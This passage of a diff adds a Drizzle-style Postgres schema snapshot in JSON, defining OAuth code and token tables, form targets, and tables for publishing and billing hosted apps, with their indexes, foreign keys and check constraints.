"oauth_authorization_codes_user_id_idx": { + "name": "oauth_authorization_codes_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_authorization_codes_code_hash_idx": { + "name": "oauth_authorization_codes_code_hash_idx", + "columns": [ + { + "expression": "codeHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_authorization_codes_expires_at_idx": { + "name": "oauth_authorization_codes_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "oauth_authorization_codes_clientId_oauth_clients_id_fk": { + "name": "oauth_authorization_codes_clientId_oauth_clients_id_fk", + "tableFrom": "oauth_authorization_codes", + "tableTo": "oauth_clients", + "columnsFrom": [ + "clientId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "oauth_authorization_codes_userId_users_id_fk": { + "name": "oauth_authorization_codes_userId_users_id_fk", + "tableFrom": "oauth_authorization_codes", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "oauth_authorization_codes_codeHash_unique": { + "name": "oauth_authorization_codes_codeHash_unique", + "nullsNotDistinct": false, + "columns": [ + "codeHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.oauth_clients": { + "name": "oauth_clients", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "clientId": { + "name": "clientId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "clientType": { + "name": "clientType", + "type": "OAuthClientType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "redirectUris": { + "name": "redirectUris", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "isFirstParty": { + "name": "isFirstParty", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "disabledAt": { + "name": "disabledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "oauth_clients_client_id_idx": { + "name": "oauth_clients_client_id_idx", + "columns": [ + { + "expression": "clientId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "oauth_clients_clientId_unique": { + "name": "oauth_clients_clientId_unique", + "nullsNotDistinct": false, + "columns": [ + "clientId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.oauth_device_codes": { + "name": "oauth_device_codes", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "deviceCodeHash": { + "name": "deviceCodeHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "deviceCodePrefix": { + "name": "deviceCodePrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userCodeHash": { + "name": "userCodeHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userCodePrefix": { + "name": "userCodePrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "clientId": { + "name": "clientId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scopes": { + "name": "scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "approvedAt": { + "name": "approvedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deniedAt": { + "name": "deniedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "redeemedAt": { + "name": "redeemedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastPolledAt": { + "name": "lastPolledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pollIntervalSeconds": { + "name": "pollIntervalSeconds", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 5 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "oauth_device_codes_client_id_idx": { + "name": "oauth_device_codes_client_id_idx", + "columns": [ + { + "expression": "clientId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_device_codes_user_id_idx": { + "name": "oauth_device_codes_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_device_codes_device_code_hash_idx": { + "name": "oauth_device_codes_device_code_hash_idx", + "columns": [ + { + "expression": "deviceCodeHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_device_codes_user_code_hash_idx": { + "name": "oauth_device_codes_user_code_hash_idx", + "columns": [ + { + "expression": "userCodeHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_device_codes_expires_at_idx": { + "name": "oauth_device_codes_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "oauth_device_codes_clientId_oauth_clients_id_fk": { + "name": "oauth_device_codes_clientId_oauth_clients_id_fk", + "tableFrom": "oauth_device_codes", + "tableTo": "oauth_clients", + "columnsFrom": [ + "clientId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "oauth_device_codes_userId_users_id_fk": { + "name": "oauth_device_codes_userId_users_id_fk", + "tableFrom": "oauth_device_codes", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "oauth_device_codes_deviceCodeHash_unique": { + "name": "oauth_device_codes_deviceCodeHash_unique", + "nullsNotDistinct": false, + "columns": [ + "deviceCodeHash" + ] + }, + "oauth_device_codes_userCodeHash_unique": { + "name": "oauth_device_codes_userCodeHash_unique", + "nullsNotDistinct": false, + "columns": [ + "userCodeHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.oauth_refresh_tokens": { + "name": "oauth_refresh_tokens", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenPrefix": { + "name": "tokenPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "familyId": { + "name": "familyId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "clientId": { + "name": "clientId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scopes": { + "name": "scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "tokenVersion": { + "name": "tokenVersion", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "familyExpiresAt": { + "name": "familyExpiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "replacedByTokenId": { + "name": "replacedByTokenId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedReason": { + "name": "revokedReason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "oauth_refresh_tokens_family_id_idx": { + "name": "oauth_refresh_tokens_family_id_idx", + "columns": [ + { + "expression": "familyId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_refresh_tokens_user_id_idx": { + "name": "oauth_refresh_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_refresh_tokens_client_id_idx": { + "name": "oauth_refresh_tokens_client_id_idx", + "columns": [ + { + "expression": "clientId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_refresh_tokens_token_hash_idx": { + "name": "oauth_refresh_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_refresh_tokens_expires_at_idx": { + "name": "oauth_refresh_tokens_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "oauth_refresh_tokens_clientId_oauth_clients_id_fk": { + "name": "oauth_refresh_tokens_clientId_oauth_clients_id_fk", + "tableFrom": "oauth_refresh_tokens", + "tableTo": "oauth_clients", + "columnsFrom": [ + "clientId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "oauth_refresh_tokens_userId_users_id_fk": { + "name": "oauth_refresh_tokens_userId_users_id_fk", + "tableFrom": "oauth_refresh_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "oauth_refresh_tokens_tokenHash_unique": { + "name": "oauth_refresh_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.form_targets": { + "name": "form_targets", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token_prefix": { + "name": "token_prefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "action": { + "name": "action", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'sheet:append'" + }, + "canvas_page_id": { + "name": "canvas_page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "fields": { + "name": "fields", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "header_row": { + "name": "header_row", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "next_row": { + "name": "next_row", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "notification_email": { + "name": "notification_email", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "status_reason": { + "name": "status_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "last_submitted_at": { + "name": "last_submitted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "submission_count": { + "name": "submission_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + } + }, + "indexes": { + "form_targets_page_id_idx": { + "name": "form_targets_page_id_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "form_targets_drive_id_idx": { + "name": "form_targets_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "form_targets_status_idx": { + "name": "form_targets_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "form_targets_canvas_page_id_idx": { + "name": "form_targets_canvas_page_id_idx", + "columns": [ + { + "expression": "canvas_page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "form_targets_one_active_per_page_idx": { + "name": "form_targets_one_active_per_page_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"form_targets\".\"status\" = 'active'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "form_targets_drive_id_drives_id_fk": { + "name": "form_targets_drive_id_drives_id_fk", + "tableFrom": "form_targets", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "form_targets_page_id_pages_id_fk": { + "name": "form_targets_page_id_pages_id_fk", + "tableFrom": "form_targets", + "tableTo": "pages", + "columnsFrom": [ + "page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "form_targets_canvas_page_id_pages_id_fk": { + "name": "form_targets_canvas_page_id_pages_id_fk", + "tableFrom": "form_targets", + "tableTo": "pages", + "columnsFrom": [ + "canvas_page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "form_targets_created_by_users_id_fk": { + "name": "form_targets_created_by_users_id_fk", + "tableFrom": "form_targets", + "tableTo": "users", + "columnsFrom": [ + "created_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "form_targets_token_hash_unique": { + "name": "form_targets_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.machine_sprite_reclaims": { + "name": "machine_sprite_reclaims", + "schema": "", + "columns": { + "sandboxId": { + "name": "sandboxId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "spriteInstanceId": { + "name": "spriteInstanceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "recordedAt": { + "name": "recordedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastAttemptAt": { + "name": "lastAttemptAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "machine_sprite_reclaims_recorded_at_idx": { + "name": "machine_sprite_reclaims_recorded_at_idx", + "columns": [ + { + "expression": "recordedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.app_deploy_token_mints": { + "name": "app_deploy_token_mints", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "publishedAppId": { + "name": "publishedAppId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "flyAppName": { + "name": "flyAppName", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "mintedAt": { + "name": "mintedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "outcome": { + "name": "outcome", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "settledAt": { + "name": "settledAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expiry": { + "name": "expiry", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "purpose": { + "name": "purpose", + "type": "text", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "app_deploy_token_mints_app_idx": { + "name": "app_deploy_token_mints_app_idx", + "columns": [ + { + "expression": "publishedAppId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "mintedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "app_deploy_token_mints_publishedAppId_published_apps_id_fk": { + "name": "app_deploy_token_mints_publishedAppId_published_apps_id_fk", + "tableFrom": "app_deploy_token_mints", + "tableTo": "published_apps", + "columnsFrom": [ + "publishedAppId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "app_deploy_token_mints_expiry_nonempty": { + "name": "app_deploy_token_mints_expiry_nonempty", + "value": "length(\"app_deploy_token_mints\".\"expiry\") > 0" + }, + "app_deploy_token_mints_purpose_nonempty": { + "name": "app_deploy_token_mints_purpose_nonempty", + "value": "length(\"app_deploy_token_mints\".\"purpose\") > 0" + }, + "app_deploy_token_mints_outcome_allowed": { + "name": "app_deploy_token_mints_outcome_allowed", + "value": "\"app_deploy_token_mints\".\"outcome\" IN ('pending', 'minted', 'failed')" + }, + "app_deploy_token_mints_settled_coherent": { + "name": "app_deploy_token_mints_settled_coherent", + "value": "(\"app_deploy_token_mints\".\"outcome\" = 'pending') = (\"app_deploy_token_mints\".\"settledAt\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.app_hosting_reclaims": { + "name": "app_hosting_reclaims", + "schema": "", + "columns": { + "flyAppName": { + "name": "flyAppName", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "publishedAppId": { + "name": "publishedAppId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "machineId": { + "name": "machineId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "recordedAt": { + "name": "recordedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastAttemptAt": { + "name": "lastAttemptAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "app_hosting_reclaims_recorded_at_idx": { + "name": "app_hosting_reclaims_recorded_at_idx", + "columns": [ + { + "expression": "recordedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "app_hosting_reclaims_attempts_nonneg": { + "name": "app_hosting_reclaims_attempts_nonneg", + "value": "\"app_hosting_reclaims\".\"attempts\" >= 0" + } + }, + "isRLSEnabled": false + }, + "public.published_app_machine_events": { + "name": "published_app_machine_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "publishedAppId": { + "name": "publishedAppId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "flyAppName": { + "name": "flyAppName", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "machineId": { + "name": "machineId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "origin": { + "name": "origin", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "action": { + "name": "action", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "flyEventId": { + "name": "flyEventId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "flyEventType": { + "name": "flyEventType", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "flyEventStatus": { + "name": "flyEventStatus", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "occurredAt": { + "name": "occurredAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "recordedAt": { + "name": "recordedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "published_app_machine_events_app_idx": { + "name": "published_app_machine_events_app_idx", + "columns": [ + { + "expression": "publishedAppId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "occurredAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_app_machine_events_fly_event_unique": { + "name": "published_app_machine_events_fly_event_unique", + "columns": [ + { + "expression": "machineId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "flyEventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"flyEventId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "published_app_machine_events_publishedAppId_published_apps_id_fk": { + "name": "published_app_machine_events_publishedAppId_published_apps_id_fk", + "tableFrom": "published_app_machine_events", + "tableTo": "published_apps", + "columnsFrom": [ + "publishedAppId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "published_app_machine_events_origin_allowed": { + "name": "published_app_machine_events_origin_allowed", + "value": "\"published_app_machine_events\".\"origin\" IN ('orchestrator', 'fly')" + }, + "published_app_machine_events_action_allowed": { + "name": "published_app_machine_events_action_allowed", + "value": "\"published_app_machine_events\".\"action\" IN ('start', 'stop')" + }, + "published_app_machine_events_fly_event_id_coherent": { + "name": "published_app_machine_events_fly_event_id_coherent", + "value": "(\"published_app_machine_events\".\"origin\" = 'fly') = (\"published_app_machine_events\".\"flyEventId\" IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.published_apps": { + "name": "published_apps", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "envId": { + "name": "envId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "costOwnerId": { + "name": "costOwnerId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "flyAppName": { + "name": "flyAppName", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "networkName": { + "name": "networkName", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "subdomain": { + "name": "subdomain", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "published_app_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'provisioning'" + }, + "guestPreset": { + "name": "guestPreset", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'shared-cpu-1x-512'" + }, + "imageDigest": { + "name": "imageDigest", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "imageSizeBytes": { + "name": "imageSizeBytes", + "type": "bigint", + "primaryKey": false, + "notNull": false + }, + "imageSizeMeasuredAt": { + "name": "imageSizeMeasuredAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "tier": { + "name": "tier", + "type": "published_app_tier", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'metered'" + }, + "machineId": { + "name": "machineId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastWakeAt": { + "name": "lastWakeAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastStopAt": { + "name": "lastStopAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastHitAt": { + "name": "lastHitAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "awakeSecondsDay": { + "name": "awakeSecondsDay", + "type": "date", + "primaryKey": false, + "notNull": false + }, + "awakeSecondsToday": { + "name": "awakeSecondsToday", + "type": "double precision", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "awakeBilledThrough": { + "name": "awakeBilledThrough", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "awakeHoldId": { + "name": "awakeHoldId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storageLastBilledAt": { + "name": "storageLastBilledAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "claimedAt": { + "name": "claimedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "claimedBy": { + "name": "claimedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "published_apps_drive_idx": { + "name": "published_apps_drive_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_apps_owner_idx": { + "name": "published_apps_owner_idx", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_apps_cost_owner_idx": { + "name": "published_apps_cost_owner_idx", + "columns": [ + { + "expression": "costOwnerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_apps_status_idx": { + "name": "published_apps_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updatedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_apps_idle_idx": { + "name": "published_apps_idle_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lastHitAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "published_apps_envId_drive_envs_id_fk": { + "name": "published_apps_envId_drive_envs_id_fk", + "tableFrom": "published_apps", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_apps_driveId_drives_id_fk": { + "name": "published_apps_driveId_drives_id_fk", + "tableFrom": "published_apps", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_apps_ownerId_users_id_fk": { + "name": "published_apps_ownerId_users_id_fk", + "tableFrom": "published_apps", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_apps_costOwnerId_users_id_fk": { + "name": "published_apps_costOwnerId_users_id_fk", + "tableFrom": "published_apps", + "tableTo": "users", + "columnsFrom": [ + "costOwnerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "published_apps_envId_unique": { + "name": "published_apps_envId_unique", + "nullsNotDistinct": false, + "columns": [ + "envId" + ] + }, + "published_apps_flyAppName_unique": { + "name": "published_apps_flyAppName_unique", + "nullsNotDistinct": false, + "columns": [ + "flyAppName" + ] + }, + "published_apps_subdomain_unique": { + "name": "published_apps_subdomain_unique", + "nullsNotDistinct": false, + "columns": [ + "subdomain" + ] + } + }, + "policies": {}, + "checkConstraints": { + "published_apps_serving_requires_image": { + "name": "published_apps_serving_requires_image", + "value": "\"published_apps\".\"status\" NOT IN ('running', 'deploying') OR \"published_apps\".\"imageDigest\" IS NOT NULL" + }, + "published_apps_running_requires_machine": { + "name": "published_apps_running_requires_machine", + "value": "\"published_apps\".\"status\" <> 'running' OR \"published_apps\".\"machineId\" IS NOT NULL" + }, + "published_apps_parked_is_metered_only": { + "name": 